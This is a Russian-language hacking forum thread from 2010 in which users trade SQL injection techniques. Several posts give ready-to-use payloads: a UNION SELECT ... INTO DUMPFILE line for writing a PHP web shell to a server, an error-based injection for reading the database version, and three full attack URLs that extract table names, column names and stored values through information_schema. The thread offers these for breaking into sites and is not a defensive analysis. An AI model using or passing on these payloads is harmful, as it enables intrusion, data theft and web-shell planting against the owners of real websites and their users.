18.08.2010, 19:39
|
|
Новичок
Регистрация: 30.05.2010
Сообщений: 25
С нами:
8395840
Репутация:
5
|
|
Не очень понял про работу с файлами.
Например, мне нужно залить шелл при помощи скул инъекции. Делать надо такой запрос:
http://site.ru/index.php?id=5+union+select+1,2,что-то,3,4,5,6+into+outfile+shell.php
?
Вместо что-то, кстати, что можно подставить, чтобы загрузить шелл навроде wso?
|
|
|
18.08.2010, 19:50
|
|
Участник форума
Регистрация: 06.01.2010
Сообщений: 136
С нами:
8603287
Репутация:
87
|
|
Сообщение от Boa
Не очень понял про работу с файлами.
Например, мне нужно залить шелл при помощи скул инъекции. Делать надо такой запрос:
http://site.ru/index.php?id=5+union+select+1,2,что-то,3,4,5,6+into+outfile+shell.php
?
Вместо что-то, кстати, что можно подставить, чтобы загрузить шелл навроде wso?
/thread104591.html
Сообщение от None
union+select+1,'',3,4,5,6,7,8+into+DUMPFILE+'/путь/до/вашего/будующего/шелла/shell.php'/*
|
|
|
|
18.08.2010, 19:58
|
|
Новичок
Регистрация: 30.05.2010
Сообщений: 25
С нами:
8395840
Репутация:
5
|
|
Сюда можно подставлять что-то невыразимо громадное, типо того же wso?
|
|
|
|
18.08.2010, 20:12
|
|
Участник форума
Регистрация: 06.01.2010
Сообщений: 136
С нами:
8603287
Репутация:
87
|
|
Сообщение от Boa
Сюда можно подставлять что-то невыразимо громадное, типо того же wso?
емае...пример ''
|
|
|
|
23.08.2010, 15:54
|
|
Новичок
Регистрация: 29.07.2010
Сообщений: 5
С нами:
8309846
Репутация:
0
|
|
Можно ли с помощью отчёта об ошибках выводить имена таблиц из Information_schema?
|
|
|
|
23.08.2010, 16:18
|
|
Познающий
Регистрация: 17.04.2009
Сообщений: 59
С нами:
8982831
Репутация:
37
|
|
Сообщение от stragger
э.. не отказался бы от примера, у меня не получается...
Попробуй так:
+or+(select+count(*)from(select+1+union+select+2+u nion+select+3)x+group+by+concat(mid((select+versio n()),1,64),floor(rand(0)*2)))+--+
Если неполучится стучи в асю, помогу - 4000840.
|
|
|
|
23.08.2010, 16:39
|
|
Новичок
Регистрация: 21.06.2005
Сообщений: 0
С нами:
10992741
Репутация:
0
|
|
Сообщение от stragger
э.. не отказался бы от примера, у меня не получается...
вывод таблиц
Код:
http://site.com/news?id=-1+or+(1,1)=(select+count(0),concat((select+table_name+limit+0,1),floor(rand(0)*2))+from+information_schema.tables+group+by+2)--+
вывод колонок
Код:
http://site.com/news?id=-1+or+(1,1)=(select+count(0),concat((select+column_name+from+%table_name%+limit+0,1),floor(rand(0)*2))+from+information_schema.columns+group+by+2)--+
вывод значений из таблицы
Код:
http://site.com/news?id=-1+or+(1,1)=(select+count(0),concat((select+concat_ws(0x3a,%column_names%)+from+%table_name%+limit+0,1),floor(rand(0)*2))+from+information_schema.tables++group+by+2)--+
|
|
|
|
23.08.2010, 17:10
|
|
Познающий
Регистрация: 10.01.2008
Сообщений: 58
С нами:
9650471
Репутация:
-2
|
|
Сообщение от Boa
Сюда можно подставлять что-то невыразимо громадное, типо того же wso?
Гет запрос ограничение будет,да и любой скрипт всё равно подставить не получится: ).Нужно тогда и запрос изменять terminated by,enclosed by и т.д.
Эти же операторы вряд ли были рассчитаны на гет селект запросы ))).Для работы с файлами ещё понятно...)
|
|
|
|
19.09.2010, 02:16
|
|
Познающий
Регистрация: 20.01.2010
Сообщений: 43
С нами:
8582520
Репутация:
6
|
|
Как побороть ЧПУ? Куда подставлять параметры? Инпутов нет.
|
|
|
|
21.09.2010, 07:53
|
|
Новичок
Регистрация: 26.04.2026
Сообщений: 0
С нами:
28659
Репутация:
0
|
|
В пункт 4.2 нужно добавить БОЛЬШИМИ БУКВАМИ что операторы в hex не будут работать
|
|
|
|
|
Предыдущая тема
Следующая тема
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
![Аватар для [Feldmarschall]](/avatars/avatar109813.png?15){kind=avatar}
Похожие темы
Линейный вид
